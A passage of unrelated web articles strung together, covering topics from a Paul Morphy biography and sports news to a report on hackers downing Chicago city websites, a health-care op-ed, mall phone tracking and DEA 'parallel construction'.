who wore a lace shirt and velvet knickerbockers. Scott, believing he was the victim of a prank, arose in protest, but his friends assured him that Morphy was no joke. He checkmated Scott in ten moves. Morphy had an astounding memory, capable of recording every factor he deemed pertinent to his play—openings, defenses, even entire games—but he also had an intuitive grasp of the possibilities. He could visualize the board several plays deep, anticipating and capitalizing on even the slightest misstep. “The child had never opened a work on chess,” wrote Morphy’s uncle, Ernest Morphy, to the editor of chess magazine La Régence, which published one of Morphy’s early games. “In the openings he makes the right moves as if by inspiration, and it is astonishing to note the precision of his calculations in the middle and end game. When seated before the chessboard, his face betrays no agitation even in the most critical positions; in such cases he generally whistles an air through his teeth and patiently seeks for the combination to get him out of trouble.” The prodigy next took on Johann J. Lowenthal, a political refugee from Hungary who was well known in European chess circles. Morphy, in his French vernacular, described Lowenthal’s reaction at losing to him in one word: “comique.” In 1850, Morphy registered at Spring Hill College in Mobile, Alabama. He was elected president of the Thespian Society during his freshman year and played Portia in The Merchant of Venice. He abhorred sports and tried to compensate for his slight, 5-foot-4 frame by briefly studying fencing. He played no chess in his college years, other than a few games with classmates in the summer of 1853. For his thesis he chose to write about war, a subject that, according to one acquaintance, “he brought within very narrow limits the conditions that make it justifiable. The logic of his argument would exclude forcible secession, and whether in play or in life Morphy was severely logical, even to a fault. But such a course brought consequences that preyed upon his mind.” After graduation he returned to New Orleans and enrolled at the University of Louisiana. He earned a law degree in 1857 but was legally obliged to wait until his 21st birthday to begin his career as an attorney. In the meantime he returned to chess, a decision that had less to do with any great passion for the game than with a fervent ambition to defeat the best players of the United States and Europe. “He felt his enormous strength,” said Charles Maurian, a childhood friend, “and never for a moment doubted the outcome.” Morphy entered the First American Chess Congress, held on October 5, 1857 at the New York Chess Club. He won his first game in 21 moves, almost in a matter of minutes—and this in an era with no time limit, when players pondered for hours and games lasted for days. His only true competitor was a German immigrant named Louis Paulsen, who exasperated Morphy by taking as long as 75 minutes on a move and beating him at their third game. Before the sixth game, Morphy dined with fellow player William James Appleton Fuller. “His patience was worn out by the great length of time Paulsen took for each move,” Fuller recalled. “His usually equable temper was so disturbed that he clenched his fist and said, ‘Paulsen shall never win another game from me while he lives.’” Morphy beat him five times and won the competition, then spent the next month in New York being feted like a king. He set his sights on Howard Staunton, an Englishman and arguably the most respected player in Europe. On Morphy’s behalf, the New Orleans Chess Club raised a purse of $5,000 and invited Staunton to visit the city for a match, promising him $1,000 for expenses if he lost. He declined, on the ground that New Orleans was too far away. Morphy planned a trip to England, intending to enter a tournament in Birmingham and challenge Staunton on his own turf, where he couldn’t refuse. But when he reached the city he learned that the tournament had been postponed for two months. He stayed anyway and joined forces with Frederick Milnes Edge, a flamboyant newspaperman who began acting as Morphy’s publicity agent. Edge stirred up controversy by accusing Staunton of cowardice in the press. Staunton, who was the chess editor of the Illustrated London News, responded by suggesting that Morphy was an adventurer without the financial backing he claimed and, worse, that he was a professional, not a gentleman. Morphy tried for three months to arrange a match with Staunton but gave up in October 1858. “Permit me to repeat,” Morphy wrote in his last letter to him, “that I am not a professional player; that I never wished to make any skill I possess the means of pecuniary advancement, and that my earnest wish is never to play for any sake but honor.” Morphy set sail for Paris, where he won a “blindfold” tournament: He sat in one room of the Café de la Regence while his eight opponents sat in another. The opponents had the chess boards, along with several other players who could give them advice; Morphy simply faced a bare wall and called out his moves in loud, clear, flawless French. He played for 10 hours, with no food or drink, and beat them all. “He was shaken by the hand and complimented till he hung down his head in confusion,” the New York Times reported. “Such a mind never did exist, and, perhaps, never will again.” Morphy returned to New Orleans an international celebrity but settled into a strangely subdued mood; he said he hadn’t done as well as he should have. He finally embarked on a law career, but interrupted it at the outbreak of the Civil War. He opposed secession, and felt torn between his loyalties to the Union and to Louisiana, but he journeyed to Richmond to see Confederate General P.G.T. Beauregard, a family friend, about the possibility of securing a diplomatic position. Some accounts suggest that he served as a volunteer aid to Beauregard (even gathering intelligence for the Confederates during the First Battle of Manassas), but others say the general deemed Morphy unqualified to serve, on or off the battlefield. He spent the next few years traveling, first to Havana and then to Europe, staying in Cadiz and Paris and declining numerous invitations from chess clubs. To his friend Daniel Willard Fiske he confessed “intense anxiety” about the war raging back home. “I am more strongly confirmed than ever in the belief that the time devoted to chess is literally frittered away,” Morphy wrote. “I have, for my own part, resolved not to be moved from my purpose of not engaging in chess hereafter.” He returned to New Orleans in November 1864 and opened a law office, only to close it after a few months—prospective clients seemed more interested in talking about chess than about their cases. He tried again several years later and had the same frustration. He began seeing evil intentions where there were none. As late as 1878 he continued to receive invitations to compete, but he played chess very rarely and never publicly, and usually out of some imagined desperation. Once Morphy entered the office of a prominent resident of New Orleans and said he needed $200 to ward off impending disaster. The man, an old friend, decided to test the strength of both Morphy’s delusion and his aversion to chess. “You want this money very much, it seems,” he said. “Yes,” Morphy replied. “I must have it—it is absolutely necessary.” “Well, I’ll tell you what I will do: if you will play a game of chess with me, I will make it two hundred and fifty dollars.” Morphy thought about it, exhibiting a “disdainful curl of the lip and manifest repugnance.” Finally he agreed, and a chessboard was set upon the desk. Morphy allowed his friend to beat him in a few moves. “There!” the former champion exclaimed. “I have done what you require, but the next time I play chess with you, I will give you the queen!” He turned to leave. His friend called out, reminding him that he was forgetting his reward. “I will come for it tomorrow!” Morphy promised. But he never did. Sources Books: David Lawson, Paul Morphy: The Pride and Sorrow of Chess. New York: McKay, 1976; William Ewart Napier, Paul Morphy and the Golden Age of Chess. New York: McKay, 1957; C.A. Buck, Paul Morphy: His Later Life. Newport, KY: Will. H. Lyons, 1902; Frederick Milnes, Paul Morphy, the Chess Champion. New York: Appleton, 1859. Articles: “Paul Morphy Dead: The Great Chess Player Insane.” New York Times, July 11, 1884; “Letter from Paul Morphy to Mr. Staunton, of England.” New York Times, November 1, 1858; “Our Foreign Correspondence: Paris.” New York Times, October 19, 1858. -Five people were injured in a brawl at Saturday night’s boxing match at the Bell Centre in downtown Montreal. Around 11 p.m., after the victory of Ontarian Brandon Cook over Montrealer Steven Butler, objects were thrown into the ring by the audience. A brawl in the audience followed. Source: Lorena Welsh/Facebook Two Bell Centre employees were injured, as were a man and woman caught up in the fight. They were all taken to hospital. Cook suffered facial injuries from the projectiles thrown into the ring. Source: Lorena Welsh/Facebook Two suspects in their 20s were arrested at the Bell Centre. A 22-year-old man faces an assault charge and will remain in custody until he appears in court Monday. A 23-year-old man, facing a charge of armed assault, has been released on promise to appear at a later date. Police were studying video footage of the incident Sunday afternoon to determine if other arrests would be made. Camille Estephan, president of Eye of the Tiger Management, and Butler’s promoter, said he was disappointed by the events. He called the incident “irresponsible and inexcusable.” -The Limited Edition Desco Figure You Can Only Get With A Disgaea 4 Append Disc By Spencer . July 19, 2011 . 1:26pm Nippon Ichi is continuing the story of Disgaea 4: A Promise Unforgotten with a downloadable scenario starring Fuka and Desco. Just like Raspberyl’s side story from Disgaea 3, the Fuka and Desco storyline has four chapters, will be sold as downloadable content on PSN, and as an append disc at stores. The retail version of the Fuka & Desco chapters requires a copy of Disgaea 4. Fans still might want to give the append disc a look because it comes with bonus items. A soundtrack CD and a Desco figure are part of the package. Let’s take a look at that. The Disgaea 4 append disc will retail for 4,179 yen ($53) and it can only be purchased if you pre-order it by July 24. The scenario alone will cost 2,000 yen ($25) as a digital download. The append disc, downloadable scenario, and a new version of Disgaea 4 with the Fuka & Desco episode built in will be available in Japan on October 27. -August 2016 seems a very long way away. Back then, there was talk of Manchester United possibly winning the title this season -- and now, there's claims Jose Mourinho believes the squad needs at least two transfer windows to be fixed. If this is true, it is worrying that Mourinho so badly underestimated the scale of the problem before him. However, there is a suspicion that if these are indeed Mourinho's sentiments, he is buying himself time. With the exception of Eric Bailly, the players he has brought in have not been consistently outstanding. Paul Pogba has dazzled in patches, Zlatan Ibrahimovic has flitted between dominant and listless and Henrikh Mkhitaryan has been the most baffling of absentees. Before Mourinho goes shopping again, he must ask more from those under his command. Looking at United's Premier League season so far, the problems look to be systemic. They are sixth in the table and after 12 games have scored 17 and conceded 14 -- both fairly average returns which reveal both insecurity at the back and a failure to penetrate. To address the latter issue, Mourinho will need his full-backs to be more far effective in attack. It seems harsh to demand anything else from Antonio Valencia, who has been one of Mourinho's most reliable performers in recent weeks. His work ethic is faultless and he has been far less prone to mistakes than Luke Shaw, who everyone would regard as a more natural full-back. At the same time, Mourinho needs to be more creative in order to bring the best from United's attackers. Anthony Martial and Marcus Rashford are both intelligent and self-sacrificial enough to spend several months on the wing, but that is not where they are most dangerous. They do their best work closer to goal -- Martial looking happiest at inside-left with Rashford able to operate equally well as an inside-left or No. 9 -- but recent formations have seen them marooned on the touchline. What's more, they have defensive duties that hinder them from wreaking the havoc in the final third of which they are truly capable. Eden Hazard's form this season shows what can happen if a team's playmakers are truly liberated by their manager's tactics. Hazard is supported on the flanks at Chelsea by Marcos Alonso and Victor Moses, who cover a formidable amount of ground and allow him to dictate the play. Valencia and Shaw, at their best, can perform a similar function for Rashford and Martial, allowing them to stay closer to the penalty area and combine better with Pogba -- who, it must be noted, has completed more passes in the final third than any other central midfielder in Europe this season. The more these three are able to play off each other, the better. Anthony Martial has had a difficult start to life under Jose Mourinho, scoring just twice in 13 games. This brings us back to United's full-backs. They are essential for two reasons -- first, as mentioned above, they allow their team's most creative players to move infield, and secondly, they stretch the play against teams who try to congest the midfield. And this is where Valencia can and should do more. Since the 2012-13 season, when United last won the title, he has scored only four times in 118 matches. Given his speed and strength, and the fact he takes up very advanced positions for his club, this is an area where he could do better. He could also improve his final ball -- he was once a winger whose delivery was among the very best in the division, perhaps even Europe, but on several occasions in the last few seasons his crosses have found themselves deflected away by the first man. Daley Blind's best games have served as a reminder of just how important it is to have playmakers in the back four, which is perhaps one reason why United have been so strongly linked with the Monaco right-back Fabinho -- and which makes it more surprising that he was not acquired this summer. At present, United's full-backs are largely hardworking but offensively limited -- see also, Matteo Darmian -- while their competitors, both at domestic and European level, have players in these positions who not only accompany forwards in attacks but initiate those attacks themselves. There is much talk of Barcelona's magnificent trident of Luis Suarez, Lionel Messi and Neymar, but they would not be nearly as dangerous if they did not have Sergi Roberto tearing up the flank to their right, as Dani Alves did before him. What's more, Roberto is smart enough to exploit the space these players draw away from him. Martial, Rashford and Pogba are three of the most disruptive presences in the Premier League, with their movement confusing some of the very best defences. United's full-backs must be at their very best to profit from the ensuing chaos. Musa Okwonga is one of ESPN FC's Manchester United bloggers. Follow on Twitter: @Okwonga. -The budget is coming and the news is out that the focus will not be on job-threatening automation, but yet another innovation agenda. The downwardly mobile are unlikely to be thrilled. How many times have the feds laid out supposedly trailblazing innovation schemes – the past four governments have tried them – only to have them fade away? They haven't worked. The country has never been turned into a leading business or technological innovator. But Liberal strategists are undeterred. They will double down on innovation in this budget. It's to be innovation of a different kind, insiders say. Past measures, such as pouring funding into university science research, haven't brought forward the anticipated trickle-down benefits. Now the Grits are intent on getting into the business of cherry-picking. They'll identify specific sectors and potential champions and target them for special support. One way will be by spending a large chunk of their procurement budget on them. The plan might be likened, so to speak, to an Own the Podium program for innovators instead of athletes. Economic growth will allegedly follow. Story continues below advertisement But what about the elephant in the room? The job-ravaging behemoth called automation. Dominic Barton, the head of Justin Trudeau's Advisory Council on Economic Growth, said recently that automation will eliminate no less than 40 per cent of existing Canadian jobs in the coming decade. He's referring to such technologies as self-checkout counters, driverless cars, burger-flipping robots. These are what Joe Populist cares about. More than any trade agreements, they are the job killers. But strangely the torrid pace of automation is hardly even being debated in Parliament or elsewhere. There's a collective throwing up of the hands. Nothing can be done. Technological determinism is here to stay, earthlings. Deal with it. There's got to be more focus on automation and robotization, argues Frank Graves, co-author with Graham Lowe of Redesigning Work. "There will be huge carnage and it is going to happen quickly. There are solutions but they will require bold action, not some bromides about innovation." Bold action will not be forthcoming. Automation will be given short shrift in the budget. The word from insiders is that while the projected scary numbers of job losses have to be taken seriously, "There isn't an appetite to hold back the tide" of technology. There is no pickup, for example, on Microsoft founder Bill Gates's idea of taxing robots that do the work of humans and using the revenues for social needs. There is no enthusiasm for measures such as rewarding retailers who don't switch to self-checkout counters. Such proposals are readily batted down by the argument that interfering with the advance of technology hinders progress by slowing down productivity. Countries that engage in such practices will become less competitive. The counter-argument is that we're moving into a new hyper-accelerated phase of automation. Just because it hasn't had a negative impact on jobs in the past doesn't mean it holds true for the future. It's a reason more governments are looking at economic nationalism to protect their workers. It's a reason why globalization appears to be winding down. The Liberals point out that countries with the highest degree of automation still have the lowest unemployment rates. Mr. Barton and his group see no reason for proactive measures to slow it down. Their automation strategy is reactive. They will address it as a social problem that has a purchasable social solution. They are planning, for example, enhanced programs for people over 50 whose skills are ill-suited for the digital age. Story continues below advertisement Story continues below advertisement Their plan to move away from trickle-down innovation agendas to a more targeted supporting of winners may well be worth a shot, especially if the winners don't win by reducing jobs. But it won't, given the failures of past innovation schemes, be an easy sell. Joe Populist is more worried about having his job displaced by innovative technologies than seeing the country becoming more adept at creating new ones. -Strange things happen when suddenly my SAI went down. You see a Picture for but what you see is not what was original. I managed somehow to let SAI crashed in the middle of saving my picture. After starting my PC new and open SAI again, the picture is god thanks there where it belongs. But suddenly it has only one layer and many effects are missing or completing to much. Also the whole color schematic changed to only red like colors.For me and Kooner it doesn't look bad, we like it, but after all the original picture is missing and I also can't edit it to the original. So here it is, the new version. XDThis is Autumn Leaves a OC from The first picture of two for him. A gift picture for one of my best friends here._______________________________________________ -This Captain America: Civil War comic book cover is just one of the surprises included in Marvel’s January 2016 solicitations The full Marvel January 2016 solicitations have been released and, over at SuperHeroHype.com, we’ve got a full gallery with more than 100 different comic book cover and official synopses for all the books hitting stores shelves first thing next year. Among a number of different surprises contained in the solicitations is this Captain America: Civil War comic book cover, showing off the key players from the May 6, 2016 release. Set for release in the United States on May 6, 2016, Captain America: Civil War is directed by Anthony and Joe Russo from a screenplay by Christopher Markus & Stephen McFeely. It is set to feature the return of Chris Evans as Steve Rogers / Captain America, this time joined in his “solo” film by fellow Avengers Robert Downey Jr. as Tony Stark / Iron Man, Scarlett Johansson as Natasha Romanoff / Black Widow, Anthony Mackie as Sam Wilson / Falcon, Paul Bettany as The Vision, Jeremy Renner as Clint Barton / Hawkeye, Don Cheadle as Jim Rhodes/War Machine and Elizabeth Olsen as Wanda Maximoff / Scarlet Witch. Sebastian Stan will also be back as Bucky Barnes / Winter Soldier alongside Chadwick Boseman as T’Challa / Black Panther, Emily VanCamp as Sharon Carter / Agent 13, Daniel Brühl as Baron Helmut Zemo, Frank Grillo as Brock Rumlow / Crossbones, William Hurt as General Thaddeus “Thunderbolt” Ross, and Paul Rudd as Scott Lang / Ant-Man. The film is also supposed to debut Marvel’s new Spider-Man, played by Tom Holland. Captain America: Civil War picks up where Avengers: Age of Ultron left off, as Steve Rogers leads the new team of Avengers in their continued efforts to safeguard humanity. After another international incident involving the Avengers results in collateral damage, political pressure mounts to install a system of accountability and a governing body to determine when to enlist the services of the team. The new status quo fractures the Avengers while they try to protect the world from a new and nefarious villain. Click on the image below to check out everything else arriving from Marvel in January 2016 and let us know in the comments below what you think of this Civil War comic book cover! -ES Football Newsletter Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account Tottenham are continuing to monitor Real Madrid midfielder Isco after showing an interest in him in the summer. Isco has made only two starts for Madrid this season and said this week he would consider his future if coach Zinedine Zidane continues to ignore him. Spurs are believed to have enquired about the Spaniard in the closing days of the transfer window but neither party made a decisive move. Yet Standard Sport understands Isco is still admired by Spurs head coach Mauricio Pochettino, even though he has a number of attacking midfielders. Isco’s contract expires in the summer of 2018, meaning he could leave Madrid for nothing in less than two years. If Isco’s situation has not improved by January, clubs are likely to attempt to persuade Madrid to release him. The most probable deal at that stage would be a loan, with an obligation to buy. It is more realistic, however, that Isco would move at the end of the season, when Spurs are expected to be one of his suitors. Meanwhile, AZ Alkmaar technical director Max Huiberts has backed Vincent Janssen to succeed at Spurs. Janssen moved to north London from AZ last summer but has yet to score in the League. Huiberts said: “I’m sure he’ll adapt quickly to the Premier League. People said it was ridiculous we wanted more than £8million for him but he was the top scorer in the Dutch league last season.” -Officials say the city's website was hacked today, though users were able to access most online services. Federal authorities and Chicago police are investigating the attack, according to a source familiar with the incident. Authorities are also exploring whether the attacks are linked to a threat to hack NATO's website in Europe. Hackers claimed credit for bringing down the cityofchicago.org site, according to Twitter feeds this morning. The cityofchicago.org appeared to be back to normal by 2 p.m. A group using the name antis3curityops sent out a message on Twitter at 6:17 a.m. directing people to “fire” on chicagopolice.org and chicagoseargeants.org. A Twitter user who claims affiliation with Anonymous, an international hacker community, tweeted a little later "Tango Down," with a link to cityofchicago.org -- shorthand used on the Internet to indicate a site has been hacked or targeted. That site was also unresponsive as of noon. The group antis3curityops posted a video saying it was "actively engaged in actions against the Chicago Police Department," and it encouraged "anyone to take up the cause and use the AntiS3curityOPS Anonymous banner. For those able, chicagopolice.org should be fired upon as much as possible. We are in your harbor Chicago, and you will not forget us." Referring to clashes between police and protesters during marches in the Loop Saturday night, the video said "let us unite and show the violent Chicago police and the government big brother tactic’s (sic) that we are not gonna take this." A Twitter account claiming to represent Anonymous cited "violation of humanrights" as a reason for the cyberattack against the police site. hdardick@tribune.com -Israeili artist Ronit Baranga (born in 1973) uses clay and porcelain to craft some really disturbing tableware that would probably instantly make you lose your appetite. Already known for her strange sculptures, Baranga applied her creepy creativity to the kitchen, putting realistic mouths and fingers on dishes and cups. “I would like that anyone who sees my work feels something – what they feel is not relevant to me, as long as they feel. I hope that the emerging feelings will cause the viewers to think about the ideas behind my work… The combination of ceramic cups with ceramic fingers represent an idea in which the still creates a will of its own, enabling a cup to decide whether to stay or leave the situation it is in,” [1] says the artist. Website: ronitbaranga.com -The fundamental thing to understand about Senate Republicans’ latest attempt to repeal Obamacare is that the bill under consideration would not just undo the Affordable Care Act—it would also end Medicaid as we know it and our federal government’s half-century commitment to closing the country’s yawning gaps in health coverage. And it would do so without putting in place any credible resources or policies to replace the system it is overturning. If our country enacts this bill, it would be an act of mass suicide. In my surgery practice in Boston, I see primarily cancer patients. When I started out, in 2003, at least one in ten of my patients was uninsured. Others, who had insurance, would discover in the course of their treatment that their policies had annual or lifetime caps that wouldn’t cover their costs, or that they would face unaffordable premiums going forward because they now had a preëxisting condition. When he was governor of Massachusetts, it was Mitt Romney, a conservative, who brought Republicans and Democrats together to make a viable state system of near-universal coverage. That system then served as a model for the A.C.A. The results have been clear: increases in coverage have markedly improved people’s access to care and their health. For the last four years, health-care costs in Massachusetts have risen more slowly than the national average—while the national numbers themselves have been at historic lows. I have not seen a single uninsured patient—zero—in a decade. And now comes an utterly reckless piece of legislation that would destroy these gains. To review how we got to this point: last spring, the House passed a health-care-reform bill that proposed to hollow out the A.C.A.’s funding, insurance mandates, and protections for people with preëxisting conditions. It was immensely unpopular with the public. The problem was not just that twenty-three million Americans would lose their health insurance if the bill becomes law but also the Republicans’ vision of a health system where insurance with deductibles of five thousand dollars and more, and little or no primary-care coverage, would become the norm. This summer, Senate Republicans failed to secure enough votes to pass a modified version of the House bill. Later, in a dramatic late-night session, the Senate also rejected, by a single vote, a “skinny” repeal bill. That bill would have repealed only the parts of the A.C.A. that required large businesses to insure their workers and all Americans to carry coverage. It would have resulted in a mere sixteen million more uninsured people, according to estimates. The Republican bill currently being rushed to a vote was put forward by a group of senators led by Lindsey Graham, of South Carolina, and Bill Cassidy, of Louisiana. As has become the apparent rule for Republican health-care bills, there have been no hearings or committee reviews of the Graham-Cassidy bill. And, this time, lawmakers and the public do not even have a Congressional Budget Office analysis of the effects the bill would have on the budget, insurance costs, or the uninsured rate. This is unprecedented: senators are moving ahead with a vote on a bill that would alter the health care of every American family and the condition of a sixth of our entire economy, without waiting to hear any official, independent estimates of the consequences. The irresponsibility is as blithe as it is breathtaking. Before becoming a senator, Cassidy spent twenty-five years working as a physician in hospitals devoted to the uninsured. I find it baffling that a person with his experience would not recognize the danger of this bill. But here we are. The Graham-Cassidy bill goes even further than the bill passed by the House. It would bring to a virtually immediate end not only the individual and employer mandates but also the whole edifice of the Medicaid expansion, insurance exchanges, and income-based coverage subsidies set up under the A.C.A. Graham-Cassidy expects all fifty states to then pass, and implement, alternative health systems for tens of millions of people within two years—with drastically less money, in most states, than the current law provides. This is not just impossible. It is delusional. Like the House bill, Graham-Cassidy would cut Medicaid payments for traditional enrollees—the elderly in nursing homes, pregnant women in poverty, disabled children, etc.—by a third by 2026. A portion of the money saved would go into a short-term fund for states to use for health-care costs. The rationale is that this would give states “flexibility” to design coverage for their residents as they see fit. But the amount of funding provided is, by multiple estimates, hundreds of billions of dollars below what the A.C.A. provides. The bill also nakedly shifts funds from Democratic-leaning states that expanded Medicaid under the A.C.A. to Republican-leaning states that didn’t. Analyses indicate that states like California, Massachusetts, and New York will receive block-grant funding anywhere from thirty-five to almost sixty per cent below the health-care funding their residents would receive under current law. Much of those missing funds would be transferred to states like Texas, Mississippi, and Wisconsin. And special deals to make further shifts from blue states to red states such as Alaska are being negotiated to win votes. As for what states can do with the funds they do receive, they would not be allowed to use them to enroll people in Medicaid, or able to establish a single-payer system. And states would not be receiving enough to continue Obamacare on their own. The only options for spending are for commercial coverage. States will be permitted to let insurers bring back higher costs for people with preëxisting conditions and to reinstate annual and lifetime limits on coverage. And then, starting in 2026, the funding turns out to only be temporary. Under the bill’s provisions, unless further action is taken then, four trillion dollars will be removed from health-care systems over twenty years. With these massive sums being flung around, it is easy to forget that this is about our health as human beings. The evidence is that health-care programs like the A.C.A. save lives. The way they do so is by increasing the number of people who have affordable access to a regular source of care and needed medications. Such coverage has been shown to produce a substantial and increasing reduction in mortality—especially among those with chronic illnesses, such as heart disease, cancer, or H.I.V.—in as little as five years. Virtually all of us, as we age, will develop serious health conditions. A critical test of any health reform, therefore, is whether it improves or reduces our prospects of having the continuous care and medicines we need when we come to have a chronic illness. The Graham-Cassidy bill fails this test. It will terminate Medicaid coverage and insurance subsidies for some twenty million people. The entire individual-insurance market will be thrown into a tailspin. Federal protections for insurance coverage will be gone. Every major group representing patients, health-care professionals, health-care institutions, and insurers has come out vociferously against this plan. Governors from Alaska to Ohio to Virginia have opposed the bill. In a highly unusual, bipartisan statement, the national association representing the Medicaid directors of all fifty states has also opposed the bill. The top health official in Louisiana, Cassidy’s home state, has opposed the new plan. There is not a single metric of health or health care that the Graham-Cassidy plan makes better. This bill is a national calamity. It should not even come to a vote. -An Oxford University study shows fathers who are more emotionally involved have better behaved children 11 years on Children whose fathers embrace parenthood are less likely to be troubled as they approach their teens, researchers say. An Oxford University study has found that fathers who were emotionally committed and felt confident about parenthood in the first few months had better-behaved children 11 years later. The amount of time the father spent with the child or got involved in domestic chores was not as significant as these two factors. For the study, parents of more than 10,000 children from south west England answered a set of questions when their child was eight weeks and eight months old. Researchers who carried out the study said: ‘The findings suggest that it is psychological and emotional aspects of paternal involvement in a child’s infancy that are most powerful in influencing later child behaviour and not the amount of time that fathers are engaged in childcare or domestic tasks. ‘How new fathers see themselves as parents, how they value their role as a parent and how they adjust to this new role, rather than the amount of direct involvement in childcare in this period, appears to be associated with positive behavioural outcomes in children.’ Researchers looked at markers of fatherly involvement such as being confident with their child, forming a strong bond, feeling fulfilled and parenthood making them feel closer to their partner. They then gave fathers a score on a relative scale for three different factors: emotional response to the child; how frequently they were involved in domestic chores and childcare; and how secure they were in their role as a father. Researchers looked at markers of fatherly involvement such as being confident with their child, forming a strong bond, feeling fulfilled and parenthood making them feel closer to their partner. File photo The same families were questioned again when the child was nine and 11, but this time they were asked questions about the child’s behaviour and social skills. Of the original cohort, 6,898 children were still in the study by nine years old and 6,328 were still involved at 11. The study’s authors found fathers who scored highly for their emotional response were 21 per cent less likely to have a child with behavioural problems at nine years old and 19 per cent less likely when their child was 11. Those who scored highly for their security in their role as a parent had a 28 per cent lower risk of their children having behavioural problems at both ages. There was no such link for fathers who scored highly for their involvement in childcare. Other factors affecting child behaviour included the parents’ ages and their education and socio-economic levels. Those who scored highly for their security in their role as a parent had a 28 per cent lower risk of their children having behavioural problems. File photo Older, more educated parents were at lower risk of having children with problems. The researchers from Oxford’s National Perinatal Epidemiology Unit, who published in the journal BMJ Open, added: ‘Positive parenting by fathers may contribute to good outcomes in children in a number of ways. ‘Involved fathers may influence children indirectly by being a source of instrumental and emotional support to mothers, who provide more of the direct care for children. The potential positive effect of this on mothers’ well-being and parenting strategies may then lead to better outcomes for the children. There is evidence that fathers’ involvement can also alleviate the impact of factors such as maternal depression, which is known to increase children’s risk of behavioural problems. -Forum Jump User Control Panel Private Messages Subscriptions Who's Online Search Forums Forums Home Element Owners Club Site/Forums Announcements Greetings & Introductions EOC.com Site Issues & Feedback Forum Honda Element Headlines Reviews Shoppin' and Test Drivin' Ask The Dealer Dear Honda: (Feedback Forum) Problems & Issues Recalls, TSB's and Notices ROTM 2011 Accessories, Care and Mods Interior Exterior Maintenance and Service Mobile Electronics 'E'ccessories Under The Hood / Performance Tires, Wheels and Suspensions Do-It-Yourself / Mods Wax on, Wax Off Racks, Hitches & Towing Miscellaneous / General Element Discussions Fuel Economy and Gas Related Discussion Activities Bikin', Campin', Hikin', and Kayakin' Trailers, Campers and Teardrops oh my! Off The Beaten Path.... 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Starting on Black Friday and running through New Year's Day, two U.S. malls -- Promenade Temecula in southern California and Short Pump Town Center in Richmond, Va. -- will track guests' movements by monitoring the signals from their cell phones. While the data that's collected is anonymous, it can follow shoppers' paths from store to store. The goal is for stores to answer questions like: How many Nordstrom shoppers also stop at Starbucks? How long do most customers linger in Victoria's Secret? Are there unpopular spots in the mall that aren't being visited? While U.S. malls have long tracked how crowds move throughout their stores, this is the first time they've used cell phones. But obtaining that information comes with privacy concerns. The management company of both malls, Forest City Commercial Management, says personal data is not being tracked. "We won't be looking at singular shoppers," said Stephanie Shriver-Engdahl, vice president of digital strategy for Forest City. "The system monitors patterns of movement. We can see, like migrating birds, where people are going to." Still, the company is preemptively notifying customers by hanging small signs around the shopping centers. Consumers can opt out by turning off their phones. The tracking system, called FootPath Technology, works through a series of antennas positioned throughout the shopping center that capture the unique identification number assigned to each phone (similar to a computer's IP address), and tracks its movement throughout the stores. The system can't take photos or collect data on what shoppers have purchased. And it doesn't collect any personal details associated with the ID, like the user's name or phone number. That information is fiercely protected by mobile carriers, and often can be legally obtained only through a court order. "We don't need to know who it is and we don't need to know anyone's cell phone number, nor do we want that," Shriver-Engdahl said. Manufactured by a British company, Path Intelligence, this technology has already been used in shopping centers in Europe and Australia. And according to Path Intelligence CEO Sharon Biggar, hardly any shoppers decide to opt out. "It's just not invasive of privacy," she said. "There are no risks to privacy, so I don't see why anyone would opt out." Now, U.S. retailers including JCPenney (JCP, Fortune 500) and Home Depot (HD, Fortune 500) are also working with Path Intelligence to use their technology, Biggar said. Home Depot has considered implementing the technology but is not currently using it any stores, a company spokesman said. JCPenney declined to comment on its relationship with the vendor. Some retail analysts say the new technology is nothing to be worried about. Malls have been tracking shoppers for years through people counters, security cameras, heat maps and even undercover researchers who follow shoppers around. And some even say websites that track online shoppers are more invasive, recording not only a user's name and purchases, but then targeting them with ads even after they've left a site. "It's important for shoppers to realize this sort of data is being collected anyway," Biggar said. Whereas a website can track a customer who doesn't make a purchase, physical stores have been struggling to perfect this kind of research, Biggar said. By combining the data from FootPath with their own sales figures, stores will have better measurements to help them improve the shopping experience. "We can now say, you had 100 people come to this product, but no one purchased it," Biggar said. "From there, we can help a retailer narrow down what's going wrong." But some industry analysts worry about the broader implications of this kind of technology. "Most of this information is harmless and nobody ever does anything nefarious with it," said Sucharita Mulpuru, retail analyst at Forrester Research. "But the reality is, what happens when you start having hackers potentially having access to this information and being able to track your movements?" Last year, hackers hit AT&T, exposing the unique ID numbers and e-mail addresses of more than 100,000 iPad 3G owners. To make it harder for hackers to get at this information, Path Intelligence scrambles those numbers twice. "I'm sure as more people get more cell phones, it's probably inevitable that it will continue as a resource," Mulpuru said. "But I think the future is going to have to be opt in, not opt out." -Much of SOD's work is considered confidential and according to Shiffman and Cooke, documents from the program show that law enforcement officers have been instructed to obscure SOD's involvement in cases, through something called "parallel construction." That's where police have to "recreate" investigations along a different track from the original tip, in order to wipe SOD's fingerprints from the case. For example, the SOD might receive a tip from a wiretap or NSA intercept directing them to track down a specific vehicle that might be involved in a drug crime. They would then pass that tip along to the FBI or a local police department. But because they wouldn't want the police to reveal where they got the tip from, the officers would have to find some other excuse to stop the vehicle and begin their own independent investigation. Police would then go forward as if the traffic stop was their first clue, not the SOD tip. The situation is compared to laundering money in order to obscure its source. But that could also mean entire cases being built on faulty or illegally obtained evidence. Even if it isn't, the secrecy involved could compromise the judicial proceedings. When and if the suspect goes to trial they might never discover the original evidence that led to their arrest, possibly creating a constitutional violation of the right to a fair trial. If the defense does find out about the "parallel construction," the whole case could be thrown out due to improper gathering of evidence. There's also the further complication that many of the tactics that are legal when used against a drug lord from another country (like warrant-less wiretapping), are illegal when used against American citizens. It's possible for an NSA tip to indirectly lead to an arrest of American — and for that original tip to be covered up by SOD. Like all government surveillance projects, SOD seems to have started with just a handful of agents and ballooned beyond its original mandate. But one big question is: Does it even work? One former agent told Reuters the SOD tips were only accurate about 60 percent of the time. Also, because the agency was so worried that the program would be exposed if a case went to trial, defendants who refused to plea bargain and instead asked to see the evidence against them would sometimes see their charges dropped simply to avoid getting SOD involved. A lot of people might be fine with pushing the boundaries of legality to catch terrorists, but to push the boundaries to not catch American drug dealers is another story. This article is from the archive of our partner The Wire. -Yesterday’s post on the presidential election campaign ended on an optimistic note regarding the “activism” of Maidan Self-Defence and Right Sector in the city. Unfortunately, this optimism proved premature as the farce of the selection of the new head of police in region entered a new act today. Since 25 April, an armoured personnel carrier has been stationed outside the police HQ in the city, so the building whose Security Service wing was burned out in mid-February. The campaign to prevent Volhynia native and experienced police functionary Serhiy Piddubnyj becoming head of Ivano-Frankivsk region police has been going on much longer. Today was 